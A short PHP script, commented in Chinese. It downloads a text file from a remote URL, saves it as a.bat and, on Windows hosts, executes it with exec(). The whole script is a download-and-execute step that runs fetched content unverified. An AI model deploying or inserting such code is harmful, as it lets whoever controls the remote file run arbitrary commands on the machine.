<?php
  $url = "http://ubuntu.localhost.com/1.txt";//下载1.txt的服务器地址
        $data = file_get_contents($url);
        $file_name = "a.bat";//可以带目录的本地a.bat文件
        file_put_contents($file_name,$data);//把下载的内容写入a.bat 并且保存。
        $system_info = php_uname('s');//获取本地操作系统
        if(stripos($system_info,'Windows') !== false){//如果是当前系统是windows
            if(file_exists($file_name)){//执行bat
                echo "执行了";
                exec($file_name);
            }else{
                echo "找不到文件";
            }
        }
?>